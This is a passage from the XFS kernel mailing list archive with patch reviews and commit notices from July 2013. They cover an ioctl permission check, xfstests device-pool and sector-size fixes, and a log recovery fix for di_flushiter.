(PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6OGLtP5010547 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 24 Jul 2013 16:21:56 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6OGLt9V006731 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 24 Jul 2013 16:21:55 GMT Received: from abhmt113.oracle.com (abhmt113.oracle.com [141.146.116.65]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6OGLs02006722; Wed, 24 Jul 2013 16:21:54 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 24 Jul 2013 09:21:54 -0700 Date: Wed, 24 Jul 2013 12:22:07 -0400 From: Dwight Engen To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v5 6/7] xfs: add permission check to free eofblocks ioctl Message-ID: <20130724122207.26792088@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v5 6/7] xfs: add permission check to free eofblocks ioctl In-Reply-To: <51EFE45F.4000801@redhat.com> References: <20130724005301.0ed718d2@oracle.com> <51EFE45F.4000801@redhat.com> Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374682917 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137264 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Wed, 24 Jul 2013 10:27:43 -0400 Brian Foster wrote: > On 07/24/2013 12:53 AM, Dwight Engen wrote: > > We need to check that userspace callers can only truncate > > preallocated blocks from files they have write access to to prevent > > them from prematurley reclaiming blocks from another user. The > > internal reclaimer will not specify the XFS_EOF_FLAGS_PERM_CHECK > > flag, but userspace callers should. > > > > Add check for read-only filesystem to free eofblocks ioctl. > > > > Signed-off-by: Dwight Engen > > --- > > fs/xfs/xfs_fs.h | 1 + > > fs/xfs/xfs_icache.c | 4 ++++ > > fs/xfs/xfs_ioctl.c | 4 ++++ > > 3 files changed, 9 insertions(+) > > > > diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h > > index 7eb4a5e..aee4b12 100644 > > --- a/fs/xfs/xfs_fs.h > > +++ b/fs/xfs/xfs_fs.h > > @@ -361,6 +361,7 @@ struct xfs_fs_eofblocks { > > #define XFS_EOF_FLAGS_GID (1 << 2) /* filter by gid > > */ #define XFS_EOF_FLAGS_PRID (1 << 3) /* filter by > > project id */ #define XFS_EOF_FLAGS_MINFILESIZE (1 << 4) /* > > filter by min file size */ +#define XFS_EOF_FLAGS_PERM_CHECK > > (1 << 5) /* check can write inode */ #define > > XFS_EOF_FLAGS_VALID \ (XFS_EOF_FLAGS_SYNC | \ > > XFS_EOF_FLAGS_UID | \ > > We're not updating the VALID definition, which means the ioctl() would > fail if the caller sets this flag. I find that a little confusing > since we're effectively enforcing it. Given that the new flag would be > exported, it might be a better idea to add it to the valid definition > even though we don't require the caller to set it. > > An alternative might be to duplicate the set of flags in xfs_icache.h > and not export this one at all, but I don't know it's really worth > that. I didn't put it in VALID because its really an internal flag, and we don't want userspace to think that we will honor them specifying it or not. ie. its not a valid bit for them to turn on. I agree it would be best not to export it though, how about if we move the definition to xfs_icache.h with a guard against someone accidentally adding a new duplicate bit in xfs_fs.h, like this: #define XFS_EOF_FLAGS_PERM_CHECK (1 << 5) /* check can write inode */ #if XFS_EOF_FLAGS_PERM_CHECK & XFS_EOF_FLAGS_VALID #error "Internal XFS_EOF_FLAGS_PERM_CHECK duplicated bit from XFS_EOF_FLAGS_VALID" #endif Maybe since this is internal we should also start at 1<<31 to allow room for exported flags to grow? > > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > > index ed35584..823f2c0 100644 > > --- a/fs/xfs/xfs_icache.c > > +++ b/fs/xfs/xfs_icache.c > > @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( > > if (!xfs_inode_match_id(ip, eofb)) > > return 0; > > > > + if ((eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK) && > > + inode_permission(VFS_I(ip), MAY_WRITE)) > > + return 0; > > + > > /* skip the inode if the file size is too small */ > > if (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE && > > XFS_ISIZE(ip) < eofb->eof_min_file_size) > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > > index ecab261..c7cb632 100644 > > --- a/fs/xfs/xfs_ioctl.c > > +++ b/fs/xfs/xfs_ioctl.c > > @@ -1613,6 +1613,9 @@ xfs_file_ioctl( > > struct xfs_fs_eofblocks eofb; > > struct xfs_eofblocks keofb; > > > > + if (IS_RDONLY(inode)) > > + return -XFS_ERROR(EROFS); > > + > > if (copy_from_user(&eofb, arg, sizeof(eofb))) > > return -XFS_ERROR(EFAULT); > > > > @@ -1630,6 +1633,7 @@ xfs_file_ioctl( > > if (error) > > return -error; > > > > + keofb.eof_flags |= XFS_EOF_FLAGS_PERM_CHECK; > > And perhaps this should also be in the new helper..? Okay, yep I can move this and the other struct xfs_fs_eofblocks checks you mentioned into the _from_user() helper. > Brian > > > return -xfs_icache_free_eofblocks(mp, &keofb); > > } > > > > > From sbehrens@giantdisaster.de Wed Jul 24 12:01:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7D8BC7F3F for ; Wed, 24 Jul 2013 12:01:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4F7CD8F8049 for ; Wed, 24 Jul 2013 10:01:54 -0700 (PDT) X-ASG-Debug-ID: 1374685307-04bdf02f2306de0001-NocioJ Received: from xp-ob.rzone.de (xp-ob.rzone.de [81.169.146.136]) by cuda.sgi.com with ESMTP id nGrXInwqkHrsNQ1E (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 10:01:49 -0700 (PDT) X-Barracuda-Envelope-From: sbehrens@giantdisaster.de X-Barracuda-Apparent-Source-IP: 81.169.146.136 X-RZG-CLASS-ID: xp Received: from pizpot.store ([192.168.43.236]) by josoe.store (josoe xp2) (RZmta 31.30 OK) with ESMTP id g078dap6OCmo90 ; Wed, 24 Jul 2013 19:01:44 +0200 (CEST) From: Stefan Behrens To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH] xfstest: don't remove the two first devices from SCRATCH_DEV_POOL Date: Wed, 24 Jul 2013 19:01:44 +0200 X-ASG-Orig-Subj: [PATCH] xfstest: don't remove the two first devices from SCRATCH_DEV_POOL Message-Id: <1374685304-2510-1-git-send-email-sbehrens@giantdisaster.de> X-Mailer: git-send-email 1.8.3.3 X-Barracuda-Connect: xp-ob.rzone.de[81.169.146.136] X-Barracuda-Start-Time: 1374685308 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137264 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Since common/config is executed twice, if SCRATCH_DEV_POOL is configured via the environment, the current code removes the first device entry twice which means that you lose the second device for the test. The fix is to not remove anything from SCRATCH_DEV_POOL anymore. That used to be done (I can only guess) to allow to pass the SCRATCH_DEV_POOL as an argument to _scratch_mkfs. Since _scratch_mkfs adds the SCRATCH_DEV, the pool mustn't contain that device anymore. A new function _scratch_pool_mkfs is introduced that does the expected thing. Signed-off-by: Stefan Behrens --- common/config | 3 +-- common/rc | 12 ++++++++++++ tests/btrfs/264 | 3 ++- tests/btrfs/265 | 12 ++++++------ tests/btrfs/307 | 4 ++-- 5 files changed, 23 insertions(+), 11 deletions(-) diff --git a/common/config b/common/config index 67c1498..1bc9233 100644 --- a/common/config +++ b/common/config @@ -252,14 +252,13 @@ if [ ! -d "$TEST_DIR" ]; then fi # a btrfs tester will set only SCRATCH_DEV_POOL, we will put first of its dev -# to SCRATCH_DEV and rest to SCRATCH_DEV_POOL to maintain the backward compatibility +# to SCRATCH_DEV to maintain the backward compatibility if [ ! -z "$SCRATCH_DEV_POOL" ]; then if [ ! -z "$SCRATCH_DEV" ]; then echo "common/config: Error: \$SCRATCH_DEV should be unset when \$SCRATCH_DEV_POOL is set" exit 1 fi SCRATCH_DEV=`echo $SCRATCH_DEV_POOL | awk '{print $1}'` - SCRATCH_DEV_POOL=`echo $SCRATCH_DEV_POOL | awk '{ ORS=" "; for (i = 2; i <= NF; i++) print $i}'` fi echo $SCRATCH_DEV | grep -q ":" > /dev/null 2>&1 diff --git a/common/rc b/common/rc index 5cb1fe2..1caf9cc 100644 --- a/common/rc +++ b/common/rc @@ -546,6 +546,18 @@ _scratch_mkfs() esac } +_scratch_pool_mkfs() +{ + case $FSTYP in + btrfs) + $MKFS_BTRFS_PROG $MKFS_OPTIONS $* $SCRATCH_DEV_POOL > /dev/null + ;; + *) + echo "_scratch_pool_mkfs is not implemented for $FSTYP" 1>&2 + ;; + esac +} + # Create fs of certain size on scratch device # _scratch_mkfs_sized [optional blocksize] _scratch_mkfs_sized() diff --git a/tests/btrfs/264 b/tests/btrfs/264 index b08667a..996c187 100755 --- a/tests/btrfs/264 +++ b/tests/btrfs/264 @@ -45,8 +45,9 @@ _need_to_be_root _supported_fs btrfs _supported_os Linux _require_scratch +_require_scratch_dev_pool -_scratch_mkfs $SCRATCH_DEV_POOL > /dev/null 2>&1 || _fail "mkfs failed" +_scratch_pool_mkfs > /dev/null 2>&1 || _fail "mkfs failed" _scratch_mount # Create and save sha256sum diff --git a/tests/btrfs/265 b/tests/btrfs/265 index 79a9ddf..5bd6944 100755 --- a/tests/btrfs/265 +++ b/tests/btrfs/265 @@ -56,7 +56,7 @@ _require_deletable_scratch_dev_pool _test_raid0() { export MKFS_OPTIONS="-m raid0 -d raid0" - _scratch_mkfs $SCRATCH_DEV_POOL > /dev/null 2>&1 || _fail "mkfs failed" + _scratch_pool_mkfs > /dev/null 2>&1 || _fail "mkfs failed" _scratch_mount dirp=`mktemp -duq $SCRATCH_MNT/dir.XXXXXX` _populate_fs -n 1 -f 20 -d 10 -r $dirp -s 10 @@ -66,7 +66,7 @@ _test_raid0() _test_raid1() { export MKFS_OPTIONS="-m raid1 -d raid1" - _scratch_mkfs $SCRATCH_DEV_POOL > /dev/null 2>&1 || _fail "mkfs failed" + _scratch_pool_mkfs > /dev/null 2>&1 || _fail "mkfs failed" _scratch_mount dirp=`mktemp -duq $SCRATCH_MNT/dir.XXXXXX` _populate_fs -n 1 -f 20 -d 10 -r $dirp -s 10 @@ -76,7 +76,7 @@ _test_raid1() _test_raid10() { export MKFS_OPTIONS="-m raid10 -d raid10" - _scratch_mkfs $SCRATCH_DEV_POOL > /dev/null 2>&1 || _fail "mkfs failed" + _scratch_pool_mkfs > /dev/null 2>&1 || _fail "mkfs failed" _scratch_mount dirp=`mktemp -duq $SCRATCH_MNT/dir.XXXXXX` _populate_fs -n 1 -f 20 -d 10 -r $dirp -s 10 @@ -86,7 +86,7 @@ _test_raid10() _test_single() { export MKFS_OPTIONS="-m single -d single" - _scratch_mkfs $SCRATCH_DEV_POOL > /dev/null 2>&1 || _fail "mkfs failed" + _scratch_pool_mkfs > /dev/null 2>&1 || _fail "mkfs failed" _scratch_mount dirp=`mktemp -duq $SCRATCH_MNT/dir.XXXXXX` _populate_fs -n 1 -f 20 -d 10 -r $dirp -s 10 @@ -106,7 +106,7 @@ _test_add() _scratch_mount dirp=`mktemp -duq $SCRATCH_MNT/dir.XXXXXX` _populate_fs -n 1 -f 20 -d 10 -r $dirp -s 10 - for i in `seq 1 $n`; do + for i in `seq 2 $n`; do $BTRFS_UTIL_PROG device add ${devs[$i]} $SCRATCH_MNT > /dev/null 2>&1 || _fail "device add failed" done $BTRFS_UTIL_PROG filesystem balance $SCRATCH_MNT || _fail "balance failed" @@ -162,7 +162,7 @@ _test_replace() _test_remove() { - _scratch_mkfs "$SCRATCH_DEV_POOL" > /dev/null 2>&1 || _fail "mkfs failed" + _scratch_pool_mkfs > /dev/null 2>&1 || _fail "mkfs failed" _scratch_mount dirp=`mktemp -duq $SCRATCH_MNT/dir.XXXXXX` _populate_fs -n 1 -f 20 -d 10 -r $dirp -s 10 diff --git a/tests/btrfs/307 b/tests/btrfs/307 index 87314c6..20d8664 100755 --- a/tests/btrfs/307 +++ b/tests/btrfs/307 @@ -53,12 +53,12 @@ rm -f $seqres.full FIRST_POOL_DEV=`echo $SCRATCH_DEV_POOL | awk '{print $1}'` LAST_POOL_DEV=`echo $SCRATCH_DEV_POOL | awk '{print $NF}'` -TOTAL_DEVS=`echo $SCRATCH_DEV $SCRATCH_DEV_POOL | wc -w` +TOTAL_DEVS=`echo $SCRATCH_DEV_POOL | wc -w` LABEL=TestLabel.$seq echo "Scratch $SCRATCH_DEV First $FIRST_POOL_DEV last $LAST_POOL_DEV Total $TOTAL_DEVS" > $seqres.full -_scratch_mkfs $SCRATCH_DEV_POOL >> $seqres.full 2>&1 || _fail "mkfs failed" +_scratch_pool_mkfs >> $seqres.full 2>&1 || _fail "mkfs failed" # These have to be done unmounted...? echo "== Set filesystem label to $LABEL" -- 1.8.3.3 From bpm@sgi.com Wed Jul 24 12:16:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D723C7F3F for ; Wed, 24 Jul 2013 12:16:47 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id A11CF30408B; Wed, 24 Jul 2013 10:16:47 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 7BBE14266DC; Wed, 24 Jul 2013 12:16:47 -0500 (CDT) Date: Wed, 24 Jul 2013 12:16:47 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: di_flushiter considered harmful Message-ID: <20130724171647.GP3111@sgi.com> References: <1374644850-5512-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374644850-5512-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Jul 24, 2013 at 03:47:30PM +1000, Dave Chinner wrote: > From: Dave Chinner > > When we made all inode updates transactional, we no longer needed > the log recovery detection for inodes being newer on disk than the > transaction being replayed - it was redundant as replay of the log > would always result in the latest version of the inode woul dbe on > disk. It was redundant, but left in place because it wasn't > considered to be a problem. > > However, with the new "don't read inodes on create" optimisation, > flushiter has come back to bite us. Essentially, the optimisation > made always initialises flushiter to zero in the create transaction, > and so if we then crash and run recovery and the inode already on > disk has a non-zero flushiter it will skip recovery of that inode. > As a result, log recovery does the wrong thing and we end up with a > corrupt filesystem. > > Because we have to support old kernel to new kernl upgrades, we > can't just get rid of the flushiter support in log recovery as we > might be upgrading from a kernel that doesn't have fully transaction > inode updates. Unfortunately, for v4 superblocks there is no way to > guarantee that log recovery knows about this fact. > > We cannot add a new inode format flag to say it's a "special inode > create" because it won't be understood by older kernels and so > recovery could do the wrong thing on downgrade. We cannot specially > detect the combination of zero mode/non-zero flushiter on disk to > non-zero mode, zero flushiter in the log item during recovery > because wrapping of the flushiter can result in false detection. > > Hence that makes this "don't use flushiter" optimisation limited to > a disk format that guarantees that we don't need it. And that means > the only fix here is to limit the "no read IO on create" > optimisation to version 5 superblocks.... > > Signed-off-by: Dave Chinner Applied. From bpm@oss.sgi.com Wed Jul 24 12:17:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id A12A57F53; Wed, 24 Jul 2013 12:17:02 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. for-linus-v3.11-rc1-2-12118-ge60896d X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: d892d5864f020c44cfa4e23e9165112d8df91093 X-Git-Newrev: e60896d8f2b81412421953e14d3feb14177edb56 Message-Id: <20130724171702.A12A57F53@oss.sgi.com> Date: Wed, 24 Jul 2013 12:17:01 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated e60896d xfs: di_flushiter considered harmful from d892d5864f020c44cfa4e23e9165112d8df91093 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit e60896d8f2b81412421953e14d3feb14177edb56 Author: Dave Chinner Date: Wed Jul 24 15:47:30 2013 +1000 xfs: di_flushiter considered harmful When we made all inode updates transactional, we no longer needed the log recovery detection for inodes being newer on disk than the transaction being replayed - it was redundant as replay of the log would always result in the latest version of the inode would be on disk. It was redundant, but left in place because it wasn't considered to be a problem. However, with the new "don't read inodes on create" optimisation, flushiter has come back to bite us. Essentially, the optimisation made always initialises flushiter to zero in the create transaction, and so if we then crash and run recovery and the inode already on disk has a non-zero flushiter it will skip recovery of that inode. As a result, log recovery does the wrong thing and we end up with a corrupt filesystem. Because we have to support old kernel to new kernel upgrades, we can't just get rid of the flushiter support in log recovery as we might be upgrading from a kernel that doesn't have fully transactional inode updates. Unfortunately, for v4 superblocks there is no way to guarantee that log recovery knows about this fact. We cannot add a new inode format flag to say it's a "special inode create" because it won't be understood by older kernels and so recovery could do the wrong thing on downgrade. We cannot specially detect the combination of zero mode/non-zero flushiter on disk to non-zero mode, zero flushiter in the log item during recovery because wrapping of the flushiter can result in false detection. Hence that makes this "don't use flushiter" optimisation limited to a disk format that guarantees that we don't need it. And that means the only fix here is to limit the "no read IO on create" optimisation to version 5 superblocks.... Reported-by: Markus Trippelsdorf Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_dinode.h | 3 +++ fs/xfs/xfs_inode.c | 31 ++++++++++++++++++++++--------- fs/xfs/xfs_log_recover.c | 13 +++++++++++-- 3 files changed, 36 insertions(+), 11 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Wed Jul 24 12:17:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 73E5C7F58; Wed, 24 Jul 2013 12:17:12 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. for-linus-v3.11-rc1-2-12118-ge60896d X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: d892d5864f020c44cfa4e23e9165112d8df91093 X-Git-Newrev: e60896d8f2b81412421953e14d3feb14177edb56 Message-Id: <20130724171712.73E5C7F58@oss.sgi.com> Date: Wed, 24 Jul 2013 12:17:11 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated e60896d xfs: di_flushiter considered harmful from d892d5864f020c44cfa4e23e9165112d8df91093 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit e60896d8f2b81412421953e14d3feb14177edb56 Author: Dave Chinner Date: Wed Jul 24 15:47:30 2013 +1000 xfs: di_flushiter considered harmful When we made all inode updates transactional, we no longer needed the log recovery detection for inodes being newer on disk than the transaction being replayed - it was redundant as replay of the log would always result in the latest version of the inode would be on disk. It was redundant, but left in place because it wasn't considered to be a problem. However, with the new "don't read inodes on create" optimisation, flushiter has come back to bite us. Essentially, the optimisation made always initialises flushiter to zero in the create transaction, and so if we then crash and run recovery and the inode already on disk has a non-zero flushiter it will skip recovery of that inode. As a result, log recovery does the wrong thing and we end up with a corrupt filesystem. Because we have to support old kernel to new kernel upgrades, we can't just get rid of the flushiter support in log recovery as we might be upgrading from a kernel that doesn't have fully transactional inode updates. Unfortunately, for v4 superblocks there is no way to guarantee that log recovery knows about this fact. We cannot add a new inode format flag to say it's a "special inode create" because it won't be understood by older kernels and so recovery could do the wrong thing on downgrade. We cannot specially detect the combination of zero mode/non-zero flushiter on disk to non-zero mode, zero flushiter in the log item during recovery because wrapping of the flushiter can result in false detection. Hence that makes this "don't use flushiter" optimisation limited to a disk format that guarantees that we don't need it. And that means the only fix here is to limit the "no read IO on create" optimisation to version 5 superblocks.... Reported-by: Markus Trippelsdorf Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_dinode.h | 3 +++ fs/xfs/xfs_inode.c | 31 ++++++++++++++++++++++--------- fs/xfs/xfs_log_recover.c | 13 +++++++++++-- 3 files changed, 36 insertions(+), 11 deletions(-) hooks/post-receive -- XFS development tree From dwight.engen@oracle.com Wed Jul 24 13:32:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4D1C27F3F for ; Wed, 24 Jul 2013 13:32:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1FEA18F8035 for ; Wed, 24 Jul 2013 11:31:59 -0700 (PDT) X-ASG-Debug-ID: 1374690717-04bdf02f220da70001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id avBynrC3iUUjaBgX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 11:31:58 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6OIVuTO022570 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 24 Jul 2013 18:31:57 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6OIVt6M004643 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 18:31:56 GMT Received: from abhmt110.oracle.com (abhmt110.oracle.com [141.146.116.62]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6OIVtxi003169 for ; Wed, 24 Jul 2013 18:31:55 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 24 Jul 2013 11:31:55 -0700 Date: Wed, 24 Jul 2013 14:32:08 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH] xfstests: 091,240,268 fix for xfs on 4k sector hard drive Message-ID: <20130724143208.34b77534@oracle.com> X-ASG-Orig-Subj: [PATCH] xfstests: 091,240,268 fix for xfs on 4k sector hard drive Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374690718 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137268 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Tests 091,240, and 268 are failing on my 4k sector hard disk. The dio writes from fsx and aiodio_sparse2 are failing on xfs with EINVAL which is returned from the check at the top of xfs_file_dio_aio_write(). The fix is to use blockdev -getpbsz to get the physical sector size instead of the logical sector size. This makes 091 and 268 work. 240 will not run on a 4k drive since fs block size == device block size. Tested against xfs,ext4, and btrfs. Signed-off-by: Dwight Engen --- tests/generic/091 | 2 +- tests/generic/240 | 2 +- tests/generic/263 | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/tests/generic/091 b/tests/generic/091 index cee012d..8a11505 100755 --- a/tests/generic/091 +++ b/tests/generic/091 @@ -54,7 +54,7 @@ run_fsx() } psize=`$here/src/feature -s` -bsize=`blockdev --getss $TEST_DEV` +bsize=`blockdev --getpbsz $TEST_DEV` kernel=`uname -r | sed -e 's/\(2\..\).*/\1/'` # 2.4 Linux kernels support bsize aligned direct I/O only diff --git a/tests/generic/240 b/tests/generic/240 index e692318..ac8560d 100755 --- a/tests/generic/240 +++ b/tests/generic/240 @@ -60,7 +60,7 @@ rm -f $seqres.full rm -f $TEST_DIR/aiodio_sparse -logical_block_size=`blockdev --getss $TEST_DEV` +logical_block_size=`blockdev --getpbsz $TEST_DEV` fs_block_size=`stat -f $TEST_DIR | grep "Block size:" | awk '{print $3}'` if [ $fs_block_size -le $logical_block_size ]; then diff --git a/tests/generic/263 b/tests/generic/263 index 377b199..9795bc2 100755 --- a/tests/generic/263 +++ b/tests/generic/263 @@ -54,7 +54,7 @@ run_fsx() } psize=`$here/src/feature -s` -bsize=`blockdev --getss $TEST_DEV` +bsize=`blockdev --getpbsz $TEST_DEV` run_fsx -N 10000 -o 8192 -l 500000 -r PSIZE -t BSIZE -w BSIZE -Z run_fsx -N 10000 -o 128000 -l 500000 -r PSIZE -t BSIZE -w BSIZE -Z -- 1.8.1.4 From bfoster@redhat.com Wed Jul 24 14:14:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5C2FD7F3F for ; Wed, 24 Jul 2013 14:14:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C3CABAC00B for ; Wed, 24 Jul 2013 12:14:42 -0700 (PDT) X-ASG-Debug-ID: 1374693281-04cbb02c3a11620001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 92SpD94RyiyAsSwE for ; Wed, 24 Jul 2013 12:14:41 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com 